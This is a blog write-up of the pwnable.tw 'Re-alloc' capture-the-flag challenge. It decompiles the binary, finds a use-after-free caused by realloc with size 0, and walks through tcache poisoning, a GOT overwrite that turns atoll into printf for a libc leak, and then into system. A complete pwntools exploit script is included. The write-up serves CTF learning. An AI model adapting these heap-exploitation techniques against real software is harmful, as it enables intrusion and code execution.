BACK TO ALL BLOGS

Re-alloc - pwnable.tw

12/16/2025
Binary Exploitpwnable.tw

Challenge Description

File type

bash
1$ file re-alloc
2re-alloc: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter ./ld-2.29.so, BuildID[sha1]=14ee078dfdcc34a92545f829c718d7acb853945b, for GNU/Linux 3.2.0, not stripped

Binary Protection

bash
1$ checksec re-alloc
2[*] './re-alloc'
3 Arch: amd64-64-little
4 RELRO: Partial RELRO
5 Stack: Canary found
6 NX: NX enabled
7 PIE: No PIE (0x3fe000)
8 FORTIFY: Enabled
9 Stripped: No

Background

  • re-alloc file offers 4 options to interact with memory:
    • Option 1: Allocate a new memory
    • Option 2: Reallocate an old memory
    • Option 3: Free a memory
    • Option 4: Quit the program
bash
1$ ./re-alloc
2$$$$$$$$$$$$$$$$$$$$$$$$$$$$
3๐ŸŠ RE Allocator ๐ŸŠ
4$$$$$$$$$$$$$$$$$$$$$$$$$$$$
5$ 1. Alloc $
6$ 2. Realloc $
7$ 3. Free $
8$ 4. Exit $
9$$$$$$$$$$$$$$$$$$$$$$$$$$$
10Your choice: 1
11Index:0
12Size:12
13Data:abc
14$$$$$$$$$$$$$$$$$$$$$$$$$$$$
15๐ŸŠ RE Allocator ๐ŸŠ
16$$$$$$$$$$$$$$$$$$$$$$$$$$$$
17$ 1. Alloc $
18$ 2. Realloc $
19$ 3. Free $
20$ 4. Exit $
21$$$$$$$$$$$$$$$$$$$$$$$$$$$
22Your choice: 2
23Index:0
24Size:40
25Data:def
26$$$$$$$$$$$$$$$$$$$$$$$$$$$$
27๐ŸŠ RE Allocator ๐ŸŠ
28$$$$$$$$$$$$$$$$$$$$$$$$$$$$
29$ 1. Alloc $
30$ 2. Realloc $
31$ 3. Free $
32$ 4. Exit $
33$$$$$$$$$$$$$$$$$$$$$$$$$$$
34Your choice: 3
35Index:0
  • The program stores the returned memory address into a global array of pointer (heap var) whose length is 2. First 3 options is provided through 3 separated functions:

    • Option 1: allocate() function takes and validates the index and size from user, then allocates a memory chunk on heap and store in global heap variable.
    c
    1int allocate()
    2{
    3 _BYTE *v0; // rax
    4 unsigned __int64 index; // [rsp+0h] [rbp-20h]
    5 unsigned __int64 size; // [rsp+8h] [rbp-18h]
    6 void *ptr; // [rsp+18h] [rbp-8h]
    7
    8 printf("Index:");
    9 index = read_long();
    10 if ( index > 1 || heap[index] )
    11 {
    12 LODWORD(v0) = puts("Invalid !");
    13 }
    14 else
    15 {
    16 printf("Size:");
    17 size = read_long();
    18 if ( size <= 120 )
    19 {
    20 ptr = realloc(0LL, size); // malloc(size);
    21 if ( ptr )
    22 {
    23 heap[index] = ptr;
    24 printf("Data:");
    25 v0 = (_BYTE *)(heap[index] + read_input(heap[index], (unsigned int)size));
    26 *v0 = 0;
    27 }
    28 else
    29 {
    30 LODWORD(v0) = puts("alloc error");
    31 }
    32 }
    33 else
    34 {
    35 LODWORD(v0) = puts("Too large!");
    36 }
    37 }
    38 return (int)v0;
    39}
    • Option 2: reallocate() function receives index, size of new chunk from user and reallocates a memory chunk.
    c
    1int reallocate()
    2{
    3 unsigned __int64 index; // [rsp+8h] [rbp-18h]
    4 unsigned __int64 size; // [rsp+10h] [rbp-10h]
    5 void *newPtr; // [rsp+18h] [rbp-8h]
    6
    7 printf("Index:");
    8 index = read_long();
    9 if ( index > 1 || !heap[index] )
    10 return puts("Invalid !");
    11 printf("Size:");
    12 size = read_long();
    13 if ( size > 120 )
    14 return puts("Too large!");
    15 newPtr = realloc((void *)heap[index], size);
    16 if ( !newPtr )
    17 return puts("alloc error");
    18 heap[index] = newPtr;
    19 printf("Data:");
    20 return read_input(heap[index], size);
    21}
    • Option 3: rfree() function free a allocated memory chunk and set the corresponding index entry of the heap variable to null pointer.
    c
    1int rfree()
    2{
    3 _QWORD *v0; // rax
    4 unsigned __int64 v2; // [rsp+8h] [rbp-8h]
    5
    6 printf("Index:");
    7 v2 = read_long();
    8 if ( v2 > 1 )
    9 {
    10 LODWORD(v0) = puts("Invalid !");
    11 }
    12 else
    13 {
    14 realloc((void *)heap[v2], 0LL);
    15 v0 = heap;
    16 heap[v2] = 0LL;
    17 }
    18 return (int)v0;
    19}
  • The special thing is those 3 operations both repurpose the realloc function:

    • realloc(NULL, size): same as malloc(size).
    • realloc(ptr, size): normal usage of realloc. If the size value is the same as old chunk size, then it does nothing and returns the same address as before.
    • realloc(ptr, NULL): same as free(ptr).
  • Constraints:

    • We cannot allocate a chunk whose size is more than 120 bytes.
    • Reading user input function always checks the buffer size to prevent buffer overflow.

Vulnerability

  • The vulnerability is in reallocate function. It doesn't handle case that the size value is 0. If we do reallocating operation with the size is 0, the function will run realloc(ptr, 0) which is equivalent to free(ptr). Because the index in array storing the pointer to that memory after that isn't set to null, it leads to use-after-free vulnerability.

Exploitation

Arbitrary Write

  • The libc provided in this challenge has mitigation that prevent double-free vulnerability so we cannnot make tcache poisoning attack.
  • However, this mitigation only check if an address exists in a bin of tcache corresponding to its chunk size. Therefore, we can bypass double-free check by resize the chunk and free it again.
  • We use this attack to put an arbitrary address we want to tcache. In next malloc usage will return that address and we have privilege to write any data to that address. Below is the sample code for that idea:
python
1# Pollutes 0x20 bin with TARGET_ADDRESS
2allocate(0, 0x10, b"abc")
3reallocate(0, 0) # free pointer in index 0
4rellocate(0, 0x10, TARGET_ADDRESS)
5allocate(1, 0x10, b"abc")
6
7# Set pointer in index 0 to null
8reallocate(0, 0x50, b"abc")
9rfree(0)
10
11# Set pointer in index 1 to null
12rellocate(1, 0x60, b"abc")
13rfree(1)
14
15# The same code with 0x30 bin...
  • After running the above code, tcache should look like:
bash
1pwndbg> tcachebins
2tcachebins
30x20 [ 0]: (TARGET_ADDRESS) โ—‚โ€” ...
40x30 [ 0]: (TARGET_ADDRESS) โ—‚โ€” ...

Leak Libc

  • Since we have arbitrary write and PIE is disabled, I think of overwriting the GOT table. In this case, I would like to overwrite atoll function to printf so that we can leak data from stack using format string attack.
python
1printf_plt = exe.plt['printf']
2allocate(0, 0x20, p64(printf_plt))
  • With the code above, we leaked the data from stack when do an operation and get libc base address.

Get Shell

  • Now we have libc base address, so we can calculate the address of system function and again overwrite atoll function to system function.
  • However, atoll now became printf which returns the number of output character. Therefore, we should input in a more appropriate way.

Exploit Code

python
1from pwn import *
2import utils
3
4context.terminal = "kitty"
5context.log_level = "debug"
6context.arch = "amd64"
7
8TARGET = "./bin/re-alloc"
9
10target = process(TARGET)
11# target = remote("chall.pwnable.tw", 10106)
12gdb.attach(target, gdbscript="b *(main + 40)")
13
14exe = ELF(TARGET)
15libc = exe.libc
16rop = ROP(exe)
17
18def allocate(index: int, size: int, data: bytes):
19 target.sendlineafter(b"Your choice:", b"1")
20 target.sendafter(b"Index:", str(index).encode())
21 target.sendafter(b"Size:", str(size).encode())
22 target.sendafter(b"Data:", data)
23
24def reallocate(index: int, size: int, data: bytes = b""):
25 target.sendlineafter(b"Your choice: ", b"2")
26 target.sendafter(b"Index:", str(index).encode())
27 target.sendafter(b"Size:", str(size).encode())
28 if size > 0:
29 target.sendafter(b"Data:", data)
30
31def rfree(index: int):
32 target.sendlineafter(b"Your choice: ", b"3")
33 target.sendafter(b"Index:", str(index).encode())
34
35def printf(data: bytes):
36 target.sendlineafter(b"Your choice: ", b"3")
37 target.sendafter(b"Index:", data)
38
39def new_allocate(index: bytes, size: bytes, data: bytes):
40 target.sendlineafter(b"Your choice: ", b"1")
41 target.sendafter(b"Index:", index)
42 target.sendafter(b"Size:", size)
43 target.sendafter(b"Data:", data)
44
45allocate(0, 0x10, b"abc")
46reallocate(0, 0)
47atoll_got = exe.got['atoll']
48reallocate(0, 0x10, p64(atoll_got))
49allocate(1, 0x10, b"abc")
50reallocate(0, 0x50, b"abc")
51rfree(0)
52reallocate(1, 0x60, b"abc")
53rfree(1)
54
55allocate(0, 0x20, b"abc")
56reallocate(0, 0)
57atoll_got = exe.got['atoll']
58reallocate(0, 0x20, p64(atoll_got))
59allocate(1, 0x20, b"abc")
60reallocate(0, 0x50, b"abc")
61rfree(0)
62reallocate(1, 0x60, b"abc")
63rfree(1)
64
65printf_plt = exe.plt['printf']
66allocate(0, 0x20, p64(printf_plt))
67printf(b"%3$p")
68__read_chk_addr = int(target.recvuntil(b"Invalid !", drop=True).decode(), 16)
69libc.address = __read_chk_addr - 9 - libc.symbols['__read_chk']
70system_addr = libc.symbols['system']
71
72new_allocate(b"A" * 1, b"B" * 10, p64(system_addr))
73printf(b"/bin/sh")
74
75target.interactive()